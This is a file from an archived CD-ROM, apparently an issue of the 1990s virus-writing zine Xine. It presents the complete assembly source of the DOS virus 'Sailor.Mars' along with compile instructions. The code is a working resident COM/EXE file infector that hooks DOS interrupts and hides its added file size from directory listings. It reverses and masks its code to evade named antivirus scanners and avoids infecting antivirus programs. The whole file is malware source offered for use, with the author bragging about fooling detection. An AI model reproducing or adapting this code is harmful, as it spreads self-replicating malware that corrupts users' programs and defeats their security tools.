home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / XINE-1.ZIP / XINE-1.021 < prev    next >
Text File  |  1996-10-25  |  21KB  |  646 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 021 |
  4.                                         \-----------------------------/
  5.  
  6.  
  7. ;
  8. ;
  9. ;                          b0z0 of da iKx presents
  10. ;                                Sailor.Mars
  11. ;
  12. ;   Dear reader :)
  13. ; here is my latest (in this moment) production. The third component of the
  14. ; Pretty Soldiers Sailor family is before your eyes! Sailor.Mars!
  15. ; enought of this... let's see what it is:
  16. ;     * TSR (of coz) COM/EXE infector
  17. ;     * infects on 4bh (execute), 56h (move/rename) and 43h (get/set
  18. ;       file attributes)
  19. ;     * stealth on dir (11h/12h), disabled when chkdsk is run
  20. ;     * int24h handler
  21. ;     * "encrypted" code: this is quite funny... the virus will run around
  22. ;       various hard disks reversed... after a short decryptor you will find
  23. ;       the end of the virus and at the end of the file the head :) this
  24. ;       seems quite fool, but is currently a good way to fool fprot and tbscan
  25. ;       scanning! :) when reversing code the routine also tests if there
  26. ;       occours any Interrupt (well, that are so much of that CDs ;) ) and
  27. ;       doesn't reverse it. In this manner the AVs will find a 'INT 21h',
  28. ;       but won't be able to find something interesting (like a mov into the
  29. ;       AX of some dangerous call) in the useful registers :) To prevent also
  30. ;       the generation of a 'INT 26h' call (which get flagged) the routine
  31. ;       also changes the '26h' before any 'CDh' to a more friendly '62h' ;)
  32. ;     * it doesn't infect a big number of antiviruses
  33. ;
  34. ; To compile
  35. ;  TASM /M2 MARS.ASM
  36. ;  TLINK MARS
  37. ;
  38.  
  39. mars            segment
  40.         assume cs:mars,ds:mars,es:mars
  41.  
  42.         org    00h
  43. exe_start:
  44.                 call    realstart
  45. realstart:
  46.                 push    ds                      ;save on stack for later use
  47.                 push    es
  48.                 mov     bp,sp                   ;bp<-delta offset
  49.                 mov     bx,[bp+4]               ;antiheuristic calculation of
  50.                 mov     bp,bx                   ;delta offset
  51.                 sub     bp,offset realstart     ;bye fprot & tbscan :)
  52.                 cmp     byte ptr cs:[movdidl+bp],88h   ;first gen?
  53.                 je      exe_enc
  54.                 call    deccom
  55.                 jmp     exe_enc
  56. deccom:
  57.                 push    cs
  58.                 pop     ds
  59.                 push    ds
  60.                 pop     es
  61.                 inc     byte ptr [movdidl+bp]   ;reput the mov [di],dl
  62.                 lea     di,[virus_end+bp]       ;from
  63.                 mov     cx,enc_end-enc_start
  64.                 lea     si,[enc_end+bp-1]       ;to
  65. next:
  66.                 mov     dl,[si]                 ;let's go
  67.                 cmp     dl,0cdh                 ;remember out int masquerade
  68.                 jne     nint
  69.                 mov     dl,[di-1]
  70.                 mov     byte ptr [di-1],0cdh
  71.                 cmp     dl,062h                 ;62->26 to fool abs disk write
  72.                 jne     nint                    ;alarm
  73.                 mov     dl,026h
  74. nint:
  75.                 dec     si
  76. movdidl:        db      88h,15h                 ;will change to fool enc flag
  77.                 inc     di
  78.                 dec     cx
  79.                 jnz     next
  80.                 lea     di,[enc_start+bp]
  81.                 lea     si,[virus_end+bp]
  82.                 mov     cx,enc_end-enc_start
  83.                 rep     movsb                ;put the code in it's real place
  84.                 ret
  85. virusname       db      0,'Sailor.Mars',0
  86. author          db      '-b0z0/iKx-',0       ;as usual :)
  87. ;firstg          db      00h
  88. enc_start:
  89. exe_enc:
  90.                 pop     es
  91.                 pop     ds
  92.                 dec     byte ptr cs:[movdidl+bp]
  93.                 call    decvicdata              ;decrypt original victim bytes
  94.                 call    resident                ;go resident
  95.                 cmp     byte ptr cs:[isexe+bp],00h ;com or exe?
  96.                 jne     realcom
  97. ;.exe restore
  98.                 mov     ax,ds
  99.         add    ax,10h
  100.         add    cs:[infcs+bp],ax
  101.  
  102.         cli
  103.         mov    sp,word ptr cs:[infsp+bp]    ;restore sp:ss
  104.         add    ax,word ptr cs:[infss+bp]
  105.         mov    ss,ax
  106.         sti
  107.  
  108.         sub    ax,ax
  109.         sub    bx,bx
  110.         sub    cx,cx
  111.         sub    dx,dx
  112.         sub    di,di
  113.         sub    si,si
  114.         push    cs:[infcs+bp]        ;push cs:ip
  115.         push    cs:[infip+bp]
  116.         sub    bp,bp
  117.  
  118.         retf                ;return on original cs:ip
  119. victim_enc_data:
  120. infip           dw      00000h
  121. infsp        dw    ?
  122. infss        dw    ?
  123. infcs           dw      0fff0h
  124. old_jump        db      0cdh,020h,00h,00h
  125. isexe           db      00h             ;00h=exe, 01=com
  126.  
  127. new_jump        db      0e9h,00h,00h,04fh
  128. ;.com restore
  129. realcom:
  130.                 mov     di,100h
  131.         lea    si,[old_jump+bp]
  132.         push    di
  133.                 movsw                           ;put original 2 words
  134.         movsw
  135.         pop    ax
  136.                 jmp     ax                      ;jump at cs:100
  137. resident:
  138.                 push    es
  139.         push    ds
  140.                 mov     ax,02abch                  ;installation check
  141.         int    21h
  142.                 cmp     bx,0def6h                  ; HEX DEF6
  143.         je    notinst
  144.  
  145.         push    es
  146.         mov    ax,3521h        ; get int 21 adress
  147.         int    21h
  148.         mov    word ptr cs:[old_int21_off+bp],bx  ;store int21 offset
  149.         mov    word ptr cs:[old_int21_seg+bp],es  ; and segment
  150.         pop    es
  151.  
  152.         mov    ax,es            ; es=psp
  153.         dec    ax            ; psp-1=mcb
  154.         mov    ds,ax            ; DS = segment of programs mcb
  155.                 sub     di,di
  156. l4mcb:                                      ; look for last mcb in chain
  157.                 cmp     byte ptr ds:[di],'Z' ;is last?
  158.                 je      last
  159.                 inc     ax
  160.                 add     ax,word ptr ds:[di+03h]
  161.                 mov     ds,ax
  162.                 jmp     l4mcb
  163. last:
  164.                 sub     word ptr ds:[di+03h],size_para  ; =mcb+03h
  165.                 add     ax,word ptr ds:[di+03h]
  166.                 sub     word ptr ds:[di+12h],size_para  ; =psp+02h
  167.         inc    ax            ; AX = first usable MCB segment
  168.  
  169.         cld
  170.         push    cs
  171.         pop    ds            ; ds points on code
  172.         mov    cx,(virus_end-exe_start+1)/2
  173.         mov    es,ax            ; es points on our usable segment
  174.                 lea     si,[exe_start+bp]  ; si points on our code
  175.         rep    movsw            ; move virus
  176.                 push    es                  ; virus segment
  177.  
  178.                 mov     ax,2521h            ; set interrupt 21h handler
  179.                 pop     ds                  ; point to virus segment
  180.         mov    dx,[offset int21_handler]
  181.         int    21h
  182.                 dec     byte ptr cs:[movdidl+bp]
  183. notinst:
  184.         pop    ds
  185.         pop    es
  186.         ret
  187. dirstealth:
  188.                 pushf
  189.                 push    cs
  190.                 call    goint21
  191.                 cmp     al,0                      ;ok?
  192.                 jnz     leave_dir                 ;no?
  193.  
  194.                 push    es
  195.                 push    bx
  196.                 push    ax
  197.                 push    di
  198.  
  199.                 mov     ah,2fh
  200.                 int     21h
  201.  
  202.                 mov     di,bx
  203.                 cmp     byte ptr es:[di],0ffh
  204.                 jne     no_ext
  205.                 add     di,07h
  206.  
  207. no_ext:
  208.                 mov     al,byte ptr es:[di+17h]   ;seconds field
  209.                 and     al,1fh
  210.                 xor     al,0eh                    ;is file infected?
  211.                 jnz     error
  212. hide:
  213.                 sub     word ptr es:[di+1dh],(virus_end-exe_start) ;hide size
  214.                 sbb     word ptr es:[di+1fh],00h
  215. error:
  216.                 pop     di
  217.                 pop     ax
  218.                 pop     bx
  219.                 pop     es
  220. leave_dir:
  221.                 retf    2
  222.  
  223. int21_handler:
  224.                 cmp     ax,02abch              ; installation check
  225.         jne    acheck
  226.                 mov     bx,0def6h              ; HEX DEF6
  227.         iret
  228. acheck:
  229.                 cmp     ah,4bh              ; program execution
  230.         je    execute
  231.  
  232.                 cmp     ah,56h              ; move/rename file
  233.                 je      execute
  234.  
  235.                 cmp     ah,32h
  236.                 jne     no_disable_stealth
  237.                 inc     byte ptr cs:[nost]
  238.  
  239. no_disable_stealth:
  240.                 cmp     byte ptr cs:[nost],00h
  241.                 jne     nostealth
  242.  
  243.                 cmp     ah,11h
  244.                 je      dirstealth
  245.  
  246.                 cmp     ah,12h
  247.                 je      dirstealth
  248. nostealth:
  249.                 cmp     ah,4ch
  250.                 jne     noterm
  251.                 mov     byte ptr cs:[nost],00h
  252. noterm:
  253.                 cmp     ah,43h              ;get/set file attributes
  254.                 jne     goint21
  255.                 cmp     bh,4fh              ;marker for our internal uses
  256.                 jne     execute
  257.  
  258. goint21:
  259.         jmp    cs:old_int21
  260. old_int21    label    dword
  261. old_int21_off    dw    ?
  262. old_int21_seg    dw    ?
  263.  
  264. execute:
  265.         pushf
  266.         push    ax
  267.         push    bx
  268.         push    dx
  269.         push    cx
  270.         push    bp
  271.         push    ds
  272.         push    si
  273.         push    di
  274.         push    es
  275.  
  276.  
  277.                 push    ds
  278.         push    dx 
  279.                 mov     ax,3524h          ;get int24h seg and off
  280.         int     21h
  281.                 mov     word ptr cs:[old_int24_off],bx  ;store them
  282.                 mov     word ptr cs:[old_int24_seg],es
  283.  
  284.                 push    cs
  285.         pop     ds
  286.                 mov     dx,offset int24h          ;our int24h
  287.         mov     ax,2524h
  288.         int     21h
  289.                 pop     dx
  290.                 pop     ds
  291.  
  292.                 push    di
  293.                 push    dx
  294.                 pop     di
  295. sloop:                                          ;ds:di-> filename
  296.                 inc     di
  297.                 cmp     byte ptr ds:[di],'.'
  298.                 jne     sloop                   ;search for '.'
  299.                 inc     di
  300.                 cmp     word ptr ds:di,'XE'     ;is an exe?
  301.                 je      ahead2
  302.                 cmp     word ptr ds:di,'OC'     ;is a com
  303.                 je      ahead2
  304.                 pop     di
  305.                 jmp     oh_shit2
  306. ahead2:
  307.                 mov     byte ptr cs:[avrunning],00h
  308.                 call    checkav                 ;look if we are infecting
  309.                 pop     di                      ;an antiviru$
  310.                 cmp     byte ptr cs:[avrunning],01h
  311.                 jne     bogus
  312.                 jmp     oh_shit2
  313. bogus:
  314.                 mov     bh,4fh
  315.                 mov     ax,4300h
  316.                 int     21h
  317.  
  318.                 push    cx
  319.                 push    ds
  320.                 push    dx
  321.                 sub     cx,cx
  322.                 call    set_attr
  323.  
  324.         mov    ax,3d02h        ;open for rw
  325.         int    21h
  326.         jnc    ahead
  327.         jmp    oh_shit
  328. ahead:
  329.         mov    bx,ax            ;bx file handle as usual
  330.         push    cs
  331.         pop    ds
  332.  
  333.                 mov     ax,5700h                ;read date/time
  334.                 int     21h
  335.                 push    dx
  336.                 push    cx
  337.  
  338.         mov    ah,3fh            ;read 1ch bytes from file
  339.                 mov     cx,1dh
  340.         lea    dx,exeheader
  341.         mov    si,dx
  342.         int    21h
  343.  
  344.                 cmp     byte ptr [si],'M'       ;exe?
  345.         je    exestuff
  346.                 cmp     byte ptr [si+1],'Z'     ;exe?
  347.         je    exestuff
  348.                 cmp     byte ptr [si],0e9h      ;jump in com?
  349.         jne    cominf
  350.                 cmp     byte ptr [si+3],04fh    ;is ours?
  351.                 je      notcominf
  352. cominf:
  353.                 call    cominfect               ;infect .com file
  354. notcominf:
  355.                 jmp     closing                 ;go away
  356. exestuff:
  357.         cmp    byte ptr [si+18h],'@'      ;winexes
  358.         je    closing
  359.         cmp    word ptr [si+12h],'MS'     ;sailormars marker
  360.         je    closing
  361.         cmp    word ptr [si+1ah],00h       ;internal ovl
  362.         jne    closing
  363.  
  364.                 call    exeinfect               ;infect .exe file
  365. closing:
  366.                 pop     cx
  367.                 pop     dx
  368.                 mov     ax,5701h                ;set date/time
  369.                 cmp     byte ptr [avrunning],02h
  370.                 jne     justdoit
  371.                 and     cl,0e0h
  372.                 add     cl,0eh
  373. justdoit:
  374.                 int     21h
  375.  
  376.                 mov     ah,3eh                  ;close file
  377.         int    21h
  378. oh_shit:
  379.                 pop     dx
  380.                 pop     ds
  381.                 pop     cx
  382.                 call    set_attr                ;reput old attributes
  383. oh_shit2:
  384.                 mov     ax,2524h
  385.                 mov     ds,cs:[old_int24_seg]
  386.                 mov     dx,cs:[old_int24_off]
  387.                 int     21h                     ; restore int24h
  388.  
  389.                 pop     es
  390.         pop    di
  391.         pop    si
  392.         pop    ds
  393.         pop    bp
  394.         pop    cx
  395.         pop    dx
  396.         pop    bx
  397.         pop    ax
  398.         popf
  399.         jmp    goint21
  400. cominfect:      ;com infection routine
  401.         ;bx <-- filehandle
  402.         ;si --> exeheader
  403.         ;cs=ds=code
  404.  
  405.         push    ds        ;copy original 4 bytes
  406.         pop    es
  407.         lea    di,old_jump    ;in old_jump
  408.         movsw
  409.         movsw
  410.  
  411.                 mov     al,02h                          ;lseek at end
  412.         call    movefile
  413.  
  414.                 cmp     ax,0f230h                       ;ax=62000?
  415.                 ja      exitcominfect                   ;jmp if ax>62000
  416.  
  417.                 cmp     ax,0400h                        ;ax=1024?
  418.                 jbe     exitcominfect                   ;jmp if ax<=1024
  419.  
  420.                 sub     ax,03h                          ;sub the jmp
  421.                 mov     word ptr new_jump + 01h, ax     ;new jump
  422.  
  423.                 mov     byte ptr isexe,01h              ;mark as com
  424.  
  425.                 call    genran                          ;random number for xor
  426.                 sub     bp,bp
  427.                 call    decvicdata                      ;xor them
  428.  
  429.                 call    enccom                          ;reverse virus
  430.  
  431.                 push    ds
  432.                 push    es
  433.                 pop     ds
  434.  
  435.                 mov     ah,40h                          ;write virus at end
  436.                 mov     cx,(virus_end-exe_start)
  437.         mov    dx,offset exe_start
  438.         int    21h
  439.  
  440.         xor    al,al
  441.         call    movefile
  442.  
  443.                 pop     ds
  444.                 mov     cx,04h                 ;write first 4 bytes
  445.                 mov     ah,40h
  446.         mov    dx,offset new_jump
  447.         int    21h
  448.  
  449.                 mov     byte ptr [avrunning],02h
  450. exitcominfect:
  451.                 ret
  452. movefile:               ;move through the file
  453.         mov    ah,42h
  454.         cwd
  455.         sub    cx,cx
  456.         int    21h
  457.         ret
  458. exeinfect:
  459.         ;bx <- filehandle
  460.         ;si -> exeheader
  461.  
  462.                 mov     cx,word ptr [si+14h] ;store old IP
  463.                 mov     infip,cx
  464.                 mov     cx,word ptr [si+16h] ;store old CS
  465.                 mov     infcs,cx
  466.                 mov     cx,word ptr [si+10h] ;store old SP
  467.                 mov     infsp,cx
  468.                 mov     cx,word ptr [si+0eh] ;store old SS
  469.                 mov     infss,cx
  470.  
  471.                 mov     al,02h
  472.         call    movefile
  473.                 call    loadsize
  474.                 cmp     dx,word ptr [lendx]  ;compare lseek length with
  475.                 ja      exitexeinfect           ;length of image that will
  476.                 cmp     ax,word ptr [lenax]  ;be loaded by the loader
  477.                 ja      exitexeinfect
  478.  
  479.                 push    ax                      ;store length
  480.         push    dx
  481.  
  482.         mov    cx,10h
  483.         div    cx
  484.  
  485.         sub    ax,word ptr [si+08h]
  486.                 mov     word ptr [si+14h],dx    ;new length
  487.         mov    word ptr [si+16h],ax
  488.  
  489.         add    dx,offset ourstack
  490.  
  491.                 mov     word ptr [si+10h],dx    ;new stack
  492.                 mov     word ptr [si+0eh],ax
  493.  
  494.         pop    dx
  495.         pop    ax
  496.  
  497.         mov    cx,200h         ;200h=512=one page
  498.  
  499.         add    ax,(virus_end-exe_start)
  500.         adc    dx,00h
  501.         div    cx
  502.         mov    word ptr [si+02h],dx    ;new length
  503.         mov    word ptr [si+12h],'MS'  ;marker
  504.         inc    ax
  505.         mov    word ptr [si+04h],ax    ;new length
  506.  
  507.                 mov     byte ptr [isexe],00h
  508.  
  509.                 call    genran                  ;generate xor value
  510.  
  511.                 push    ds
  512.                 push    si
  513.                 sub     bp,bp
  514.                 call    decvicdata              ;encrypt the original bytes
  515.  
  516.                 call    enccom                  ;reverse our virus
  517.                 push    es
  518.                 pop     ds
  519.                 pop     si
  520.  
  521.                 mov     ah,40h                  ;write virus at end
  522.         mov    cx,(virus_end-exe_start)
  523.         mov    dx,offset exe_start
  524.         push    ax
  525.         int    21h
  526.  
  527.                 sub     al,al                   ;move at start
  528.                 call    movefile
  529.  
  530.                 pop     ax
  531.                 pop     ds                      ;rewrite header
  532.         mov    cx,1ch
  533.         mov    dx,si
  534.         int    21h
  535.  
  536.                 mov     byte ptr [avrunning],02h
  537. exitexeinfect:
  538.         ret
  539. enccom:
  540.                 mov     ax,8d00h                ;some suitable mem
  541.                 mov     es,ax
  542.                 mov     di,offset exe_start
  543.                 mov     si,di
  544.                 mov     cx,offset enc_start
  545.                 rep     movsb            ;copy first normal part of code
  546.                 mov     si,offset enc_end-1
  547.                 mov     cx,enc_end-enc_start
  548. critt:
  549.                 mov     dh,ds:[si]
  550.                 cmp     dh,0cdh                 ;is an int?
  551.                 jne     notint
  552.                 mov     dh,es:[di-1]
  553.                 mov     ah,0cdh
  554.                 mov     es:[di-1],ah
  555.                 cmp     dh,026h                 ;change 26 to 62, so no
  556.                 jne     notint                  ;absolute disk writes will
  557.                 mov     dh,062h                 ;be noticed
  558. notint:
  559.                 mov     es:[di],dh
  560.                 dec     si                      ;copy and reverse code
  561.                 inc     di
  562.                 dec     cx
  563.                 jnz     critt
  564.                 ret
  565. xorvalue        dw      00h
  566. decvicdata:                             ;minor encryption for original bytes
  567.                 lea     si,cs:[bp+victim_enc_data]
  568.                 mov     dx,word ptr cs:[bp+xorvalue]
  569.                 mov     cx,06h          ;6 words to encrypt
  570. encloopy:                        ;cs:
  571.                 xor     word ptr cs:[si],dx
  572.                 inc     si
  573.                 inc     si                      ;next word
  574.                 loop    encloopy
  575.                 xor     byte ptr cs:[si],dh     ;xor com/exe marker
  576.                 ret
  577. genran:                                 ;generate random value for xoring
  578.                 in      ax,40h
  579.                 mov     word ptr [xorvalue],ax       ;store value
  580.                 ret
  581. set_attr:
  582.                 push    bx
  583.                 mov     bh,4fh
  584.                 mov     ax,4301h            ;set attributes
  585.                 int     21h
  586.                 pop     bx
  587.                 ret
  588. loadsize:
  589.                 push    ax              ;calculate lenght of loaded
  590.                 push    dx              ;image from header
  591.                 mov     cx,word ptr [si+04h]
  592.                 mov     ax,512
  593.                 mul     cx
  594.                 add     ax,word ptr [si+02h]
  595.                 adc     dx,00h
  596.                 mov     word ptr [lenax],ax
  597.                 mov     word ptr [lendx],dx
  598.                 pop     dx
  599.                 pop     ax
  600.                 ret
  601. antiviruses     db      'TB','AV','F-','VI','SC','IT','IV','FI','NA','CO'
  602.                 dw      00h
  603. checkav:        ;check if the current program being infected is an AV
  604.                 ;ds:di --> '.'+1 in the filename
  605.                 dec     di                              ;
  606.                 cmp     byte ptr ds:[di-1],'\'          ;search for the \
  607.                 jne     checkav                         ;
  608.                 lea     si,antiviruses
  609. avcloop:
  610.                 mov     cx,word ptr cs:[si]
  611.                 cmp     word ptr ds:di,cx
  612.                 jne     notav
  613.                 mov     byte ptr cs:[avrunning],01h     ;set av flag
  614. notav:
  615.                 cmp     byte ptr cs:[avrunning],01h
  616.                 je      endscan
  617.                 inc     si                      ;next av signature
  618.                 inc     si
  619.                 cmp     word ptr cs:[si],00h      ;end of the checked sigs?
  620.                 je      endscan
  621.                 jmp     avcloop
  622. endscan:
  623.                 ret
  624. int24h:
  625.                 mov     al,00h    ;much better, so on an attrib on a wp
  626.                 iret              ;diskette that wouldn't be a wp warning
  627. enc_end:
  628. virus_end:
  629.  
  630. nost            db      00h                 ;00h=11h/12h enabled, 1=disabled
  631. old_int24_off   dw      ?                   ;original int24 offset
  632. old_int24_seg   dw      ?                   ;original int24 segment
  633.  
  634. avrunning       db      ?             ;00h av not running, 01h running
  635.                                       ;02h file succesfully infected
  636. lenax           dw      ?
  637. lendx           dw      ?
  638. exeheader       db      1dh dup (?)
  639. size_para=(virus_end-exe_start+0fh)/10h+2 ;virus + some temp space
  640. lengthstack     db      1024 dup (?)     ;256
  641.  
  642. ourstack:
  643.  
  644. mars    ends
  645. end    exe_start
  646.